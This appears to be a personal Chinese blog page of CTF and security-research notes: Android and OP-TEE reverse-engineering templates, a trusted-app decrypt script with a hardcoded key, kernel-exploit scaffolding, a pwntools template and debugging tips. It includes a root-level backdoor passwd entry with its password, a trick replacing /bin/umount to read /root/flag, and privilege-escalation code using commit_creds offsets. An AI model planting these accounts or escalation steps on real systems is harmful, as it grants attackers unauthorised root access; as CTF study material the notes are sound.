/images/gaga.jpg

呆呆的小窝~

Apk杂记

adb

1
2
adb devices # 查看设备
adb shell

ida调试so

一般断在Jni_onload

1
2
adb forward tcp:23946 tcp:23946
adb shell
1
2
cd /data/local/tmp
./androidserver

androidserver的位数应该和so对应,不过跑以下看能不能搜到进程就知道了。

Optee_template

ta

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//------------------------------------------------
//--- 010 Editor v10.0.2 Binary Template
//
//      File:
//   Authors:
//   Version:
//   Purpose:
//  Category:
// File Mask:
//  ID Bytes:
//   History:
//------------------------------------------------
#define TEE_FS_HTREE_IV_SIZE 16
#define TEE_FS_HTREE_TAG_SIZE 16
#define TEE_FS_HTREE_FEK_SIZE 16

typedef struct _tee_fs_htree_meta {
	UINT64 length;
}tee_fs_htree_meta;

typedef struct _tee_fs_htree_imeta {
	struct tee_fs_htree_meta meta;
	UINT32 max_node_id;
    UINT32 nop;
}tee_fs_htree_imeta;

typedef struct _tee_fs_htree_image {
	UCHAR iv[TEE_FS_HTREE_IV_SIZE];
	UCHAR tag[TEE_FS_HTREE_TAG_SIZE];
	UCHAR enc_fek[TEE_FS_HTREE_FEK_SIZE];
	UCHAR imeta[sizeof(struct tee_fs_htree_imeta)];
	UINT32 counter;
}tee_fs_htree_image;

#define TEE_FS_HTREE_HASH_SIZE		32
#define TEE_FS_HTREE_IV_SIZE 16
#define TEE_FS_HTREE_TAG_SIZE 16
typedef struct _tee_fs_htree_node_image {
	/* Note that calc_node_hash() depends on hash first in struct */
	UCHAR hash[TEE_FS_HTREE_HASH_SIZE];
	UCHAR iv[TEE_FS_HTREE_IV_SIZE];
	UCHAR tag[TEE_FS_HTREE_TAG_SIZE];
	USHORT flags;
}tee_fs_htree_node_image;

//--------------------------------------
LittleEndian();

tee_fs_htree_image  ver0_head;
tee_fs_htree_image  ver1_head;
FSeek(0x1000);
tee_fs_htree_node_image ver0_root_node;
tee_fs_htree_node_image ver1_root_node;
FSeek(0x2000);

encrypted ta

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
//------------------------------------------------
//--- 010 Editor v10.0.2 Binary Template
//
//      File:
//   Authors:
//   Version:
//   Purpose:
//  Category:
// File Mask:
//  ID Bytes:
//   History:
//------------------------------------------------
enum shdr_img_type {
        SHDR_TA = 0,
        SHDR_BOOTSTRAP_TA = 1,
        SHDR_ENCRYPTED_TA = 2,
};

#define SHDR_MAGIC      0x4f545348

/**
 * struct shdr - signed header
 * @magic:      magic number must match SHDR_MAGIC
 * @img_type:   image type, values defined by enum shdr_img_type
 * @img_size:   image size in bytes
 * @algo:       algorithm, defined by public key algorithms TEE_ALG_*
 *              from TEE Internal API specification
 * @hash_size:  size of the signed hash
 * @sig_size:   size of the signature
 * @hash:       hash of an image
 * @sig:        signature of @hash
 */
struct shdr {
        UINT32 magic;
        UINT32 img_type;
        UINT32 img_size;
        UINT32 algo;
        USHORT hash_size;
        USHORT sig_size;
        /*
         * Commented out element used to visualize the layout dynamic part
         * of the struct.
         *
         * hash is accessed through the macro SHDR_GET_HASH and
         * signature is accessed through the macro SHDR_GET_SIG
         *
         * UCHAR hash[hash_size];
         * UCHAR sig[sig_size];
         */
};

/**
 * struct shdr_bootstrap_ta - bootstrap TA subheader
 * @uuid:       UUID of the TA
 * @ta_version: Version of the TA
 */
struct shdr_bootstrap_ta {
        UCHAR uuid[16];
        UINT32 ta_version;
};

/**
 * struct shdr_encrypted_ta - encrypted TA header
 * @enc_algo:   authenticated encyption algorithm, defined by symmetric key
 *              algorithms TEE_ALG_* from TEE Internal API
 *              specification
 * @flags:      authenticated encyption flags
 * @iv_size:    size of the initialization vector
 * @tag_size:   size of the authentication tag
 * @iv:         initialization vector
 * @tag:        authentication tag
 */
struct shdr_encrypted_ta {
        UINT32 enc_algo;
        UINT32 flags;
        USHORT iv_size;
        USHORT tag_size;
        /*
         * Commented out element used to visualize the layout dynamic part
         * of the struct.
         *
         * iv is accessed through the macro SHDR_ENC_GET_IV and
         * tag is accessed through the macro SHDR_ENC_GET_TAG
         *
         * UCHAR iv[iv_size];
         * UCHAR tag[tag_size];
         */
};

#define SHDR_ENC_KEY_TYPE_MASK  0x1

enum shdr_enc_key_type {
        SHDR_ENC_KEY_DEV_SPECIFIC = 0,
        SHDR_ENC_KEY_CLASS_WIDE = 1,
};

#define HASH_SIZE   32
#define TAG_SIZE    16
#define SIG_SIZE    256
#define IV_SIZE     12
/*
nonce = <unique random value>
ciphertext, tag = AES_GCM(<stripped ELF>)
hash = H(<struct shdr> || <struct shdr_bootstrap_ta> ||
         <struct shdr_encrypted_ta> || <nonce> || <tag> || <stripped ELF>)
signature = RSA-Sign(<hash>)
encrypted_binary = <struct shdr> || <hash> || <signature> ||
                   <struct shdr_bootstrap_ta> ||
                   <struct shdr_encrypted_ta> || <nonce> || <tag> ||
                   <ciphertext>
*/

LittleEndian();
shdr head_shdr;
UCHAR hash[HASH_SIZE];
UCHAR sig[SIG_SIZE];
shdr_bootstrap_ta bootstrap_ta;
shdr_encrypted_ta encrypted_ta;
UCHAR nonce[IV_SIZE];
UCHAR tag[TAG_SIZE];

decrypt script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import struct
import sys

f = open(sys.argv[1], 'rb')
shdr = f.read(20)
(magic, img_type, img_size, algo, digest_len,
    sig_len) = struct.unpack('<IIIIHH', shdr)
# private key
key = 'b64d239b1f3c7d3b06506229cd8ff7c8af2bb4db2168621ac62c84948468c4f4'
# 
hash = f.read(32)
sig = f.read(256)
shdr_bootstrap_ta = f.read(20)
shdr_encrypted_ta = f.read(12)
nonce = f.read(12)
tag = f.read(16)
cipher = f.read()
print(len(cipher))
f.close()

print(f"nonce: {nonce}")
print(f"tag: {tag}")

gcm = AESGCM(bytes.fromhex(key))
plain = gcm.decrypt(nonce, cipher+tag, None)
f = open('dec.ta', 'wb')
f.write(plain)
f.close()

ida

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
typedef unsigned int size_t;

enum TEEC_ParamType {
    TEEC_NONE = 0x0,  /* unused parameter */
    TEEC_VALUE_INPUT = 0x01,  /* input type of value, refer TEEC_Value */
    TEEC_VALUE_OUTPUT = 0x02, /* output type of value, refer TEEC_Value */
    TEEC_VALUE_INOUT = 0x03,  /* value is used as both input and output, refer TEEC_Value */
    TEEC_MEMREF_TEMP_INPUT = 0x05,  /* input type of temp memory reference, refer TEEC_TempMemoryReference */
    TEEC_MEMREF_TEMP_OUTPUT = 0x06, /* output type of temp memory reference, refer TEEC_TempMemoryReference */
    TEEC_MEMREF_TEMP_INOUT = 0x07,  /* temp memory reference used as both input and output,
                                       refer TEEC_TempMemoryReference */
    TEEC_ION_INPUT = 0x08,  /* input type of icon memory reference, refer TEEC_IonReference */
    TEEC_ION_SGLIST_INPUT = 0x09, /* input type of ion memory block reference, refer TEEC_IonSglistReference */
    TEEC_MEMREF_SHARED_INOUT = 0x0a, /* no copy mem */
    TEEC_MEMREF_WHOLE = 0xc, /* use whole memory block, refer TEEC_RegisteredMemoryReference */
    TEEC_MEMREF_PARTIAL_INPUT = 0xd, /* input type of memory reference, refer TEEC_RegisteredMemoryReference */
    TEEC_MEMREF_PARTIAL_OUTPUT = 0xe, /* output type of memory reference, refer TEEC_RegisteredMemoryReference */
    TEEC_MEMREF_PARTIAL_INOUT = 0xf /* memory reference used as both input and output,
                                        refer TEEC_RegisteredMemoryReference */
};

struct TEE_VALUE_Param
{
    size_t a;
    size_t b;
};

struct TEE_MEMREF_Param
{
    void *buffer;
    size_t size;
};

union TEE_Param
{
    struct TEE_VALUE_Param value;
    struct TEE_MEMREF_Param memref;
};

Kernel

kallsyms

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import idc
import ida_funcs
import ida_kernwin
ksyms = open("/path/to/kallsyms.txt")
for line in ksyms:
 addr = int(line[0:16],16)
 name = line[19:].replace('_','')
 name = line[19:].replace('\n','')
 idc.create_insn(addr)
 ida_funcs.add_func(addr)
 idc.set_name(addr,name)
 ida_kernwin.msg("%08X:%s"%(addr,name))

passwd

1
2
pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh 
# 密码:lol

cpio

1
2
3
4
5
6
7
8
gcc -o exp -static exp.c -masm=intel -s -lpthread

mv ./exp ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > ../initramfs.cpio.gz
cd ..

mount

1
2
# ext4
sudo mount -o rw -osync -o auto -o exec rootfs.img rootfs

模板

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define logd(fmt, ...) \
    dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...)                                                    \
    dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \
            __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...)                                                     \
    dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \
            __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...)                                                  \
    dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \
            __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        exit(1);                           \
    } while (0)

#define o(x) (kbase + x)

size_t pop_rdi = 0x2c9d;
size_t commit_creds = 0xbb5b0;
size_t init_cred = 0x1a4cbf8;
size_t swapgs_restore_regs_and_return_to_usermode = 0x1000f01;
size_t prepare_kernel_cred = 0xf8520;

unsigned long user_cs, user_ss, user_eflags, user_sp, user_ip;

void get_shell() {
    int uid;
    if (!(uid = getuid())) {
        logi("root get!!");
        execl("/bin/sh", "sh", NULL);
    } else {
        die("gain root failed, uid: %d", uid);
    }
}

void saveStatus(void) {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_eflags;"
            );

    user_ip = (uint64_t)&get_shell;
    user_sp = 0xf000 +
              (uint64_t)mmap(0, 0x10000, 6, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}

void bind_cpu(int cpu_idx) {
    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(cpu_idx, &my_set);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) {
        die("sched_setaffinity: %m");
    }
}

void hexdump(const void *data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        dprintf(2, "%02X ", ((unsigned char *)data)[i]);
        if (((unsigned char *)data)[i] >= ' ' &&
            ((unsigned char *)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char *)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i + 1) % 8 == 0 || i + 1 == size) {
            dprintf(2, " ");
            if ((i + 1) % 16 == 0) {
                dprintf(2, "|  %s \n", ascii);
            } else if (i + 1 == size) {
                ascii[(i + 1) % 16] = '\0';
                if ((i + 1) % 16 <= 8) {
                    dprintf(2, " ");
                }
                for (j = (i + 1) % 16; j < 16; ++j) {
                    dprintf(2, "   ");
                }
                dprintf(2, "|  %s \n", ascii);
            }
        }
    }
}

size_t kbase;

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDONLY);
    if(fd < 0) perror("Error open");
}

Codeql for obj

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import cpp

from FunctionCall fc, Function f, int alloc_size, int alloc_flags, PointerType typ
where
  f = fc.getTarget() and
  // 只查找kalloc和kzalloc类的函数
  f.getName().regexpMatch("k[a-z]*alloc") and
  alloc_size = fc.getArgument(0).getValue().toInt() and
  // get object in kmalloc-64,128,192
  (alloc_size > 32 and alloc_size <= 192) and
  alloc_flags = fc.getArgument(1).getValue().toInt() and
  // GFP_ACCOUNT == 0x400000(4194304)
  alloc_flags.bitAnd(4194304) = 0 and
  typ = fc.getActualType().(PointerType) and
  not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("arch.*") and 
  not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("drivers.*") 
select fc, "在 $@$@ 中发现一处调用 $@ 分配内存,结构体 $@, 大小 " + alloc_size.toString(),
fc,fc.getEnclosingFunction().getFile().getRelativePath(), fc.getEnclosingFunction(),
  fc.getEnclosingFunction().getName().toString(), fc, f.getName(), typ.getBaseType(),
  typ.getBaseType().getName()

extract-vmlinux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it's a valid ELF
	# TODO: find a better to way to check that it's really vmlinux
	#       and not just an elf
	readelf -h $1 > /dev/null 2>&1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the "tr" filter is to work around older versions of
	# "grep" that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
	do
		pos=${pos%%:*}
		tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s "$img" ]
then
	echo "Usage: $me <kernel-image>" >&2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

非预期

1
2
3
4
5
6
mv bin bin1
/bin1/mkdir bin
/bin1/chmod 777 bin
/bin1/echo "/bin1/cat /root/flag" > /bin/umount
/bin1/chmod 777 /bin/umount
exit

泄露

1
cat /sys/kernel/notes

Mixed_c_with_asm

前几天群里提到的问题,简单记录下查阅到的方法。

在C中调用汇编中定义的函数

以Linux x86为例,用汇编语言编写一个hello_world函数,输出”Hello, World!\n”为例,其不需要任何参数,同时也没有返回值,相应的汇编代码如下:

Adb

USE ADB in WSL

1
2
3
# ADB
export PATH="$PATH:/mnt/d/Tools/Android/SDK/platform-tools"
alias adb="/mnt/d/Tools/Android/SDK/platform-tools/adb.exe"

由于将adb的路径alias后,默认在sh中是找不到的,若想在sh脚本中使用ADB,需在脚本前添加以下代码:

1
2
#!/bin/bash -i
shopt -s expand_aliases

Usage

1
2
3
4
adb push ready_to_push path
adb pull path_to_want
# if read-only system
adb remout

Misc

exp template

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import sys
context.log_level = "debug"

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    p = remote("",)
    libc = ELF("./libc-2.31.so")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
uu32 = lambda x   : u32(x.ljust(4, b'\0'))
uu64 = lambda x   : u64(x.ljust(8, b'\0'))
p32s = lambda *xs : flat([p32(x) for x in xs])
p64s = lambda *xs : flat([p64(x) for x in xs])

def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
#context.terminal = ['tmux', 'splitw', '-h']

p.interactive()

strace/socat

1
strace -fi /bin/socat 8899 ./challenge

查找错误git commit

1
git bisect

Debug Multithreading

1
2
3
4
5
6
7
8
# gdb
set follow-fork-mode [parent|child]		# 设置调试[父进程/子进程]
set detach-on-fork [on|off]				# 未调试进程[继续执行/block在fork位置]
show follow-fork-mode
show detach-on-fork
info inferiors				# 查看正在调试的进程信息
info threads				# 查询线程
thread <thread number>		# 切换线程
1
strace -ff -o test.txt ./your_binary

hex dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void hexdump(const void *data, size_t size) 
{
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) 
    {
        dprintf(2, "%02X ", ((unsigned char *)data)[i]);
        if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') 
        {
            ascii[i % 16] = ((unsigned char *)data)[i];
        } else 
        {
            ascii[i % 16] = '.';
        }
        if ((i + 1) % 8 == 0 || i + 1 == size) 
        {
            dprintf(2, " ");
            if ((i + 1) % 16 == 0) 
            {
                dprintf(2, "|  %s \n", ascii);
            } 
            else if (i + 1 == size) 
            {
                ascii[(i + 1) % 16] = '\0';
                if ((i + 1) % 16 <= 8) 
                {
                    dprintf(2, " ");
                }
                for (j = (i + 1) % 16; j < 16; ++j) 
                {
                    dprintf(2, "   ");
                }
                dprintf(2, "|  %s \n", ascii);
            }
        }
    }
}

ropper

1
ropper --file ./vmlinux --nocolor > gadgets.txt

pow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <memory.h>
#include <stdint.h>
#include <openssl/sha.h>
#define PREFIX_LEN 10
int main(int argc, char const *argv[])
{
	if (argc != 2 || strlen(argv[1]) != PREFIX_LEN)
		return -1;
	uint8_t buf[32];
	uint8_t out[SHA256_DIGEST_LENGTH];
	memcpy(buf, argv[1], PREFIX_LEN);
	for (uint64_t i = 0; i < 0xffffffffffff; ++i)
	{
		sprintf(buf + PREFIX_LEN, "%lu", i);
		SHA256(buf, strlen(buf), out);
		if (out[0] == 0 && out[1] == 0 && out[2] == 0 && (out[3] >> 5) == 0)
		{
			printf("%s\n", buf+10);
			break;
		}
	}
	return 0;
}

// gcc -O2 pow.c -lcrypto && ./a.out pzlYZX5ZEb && rm ./a.out

pow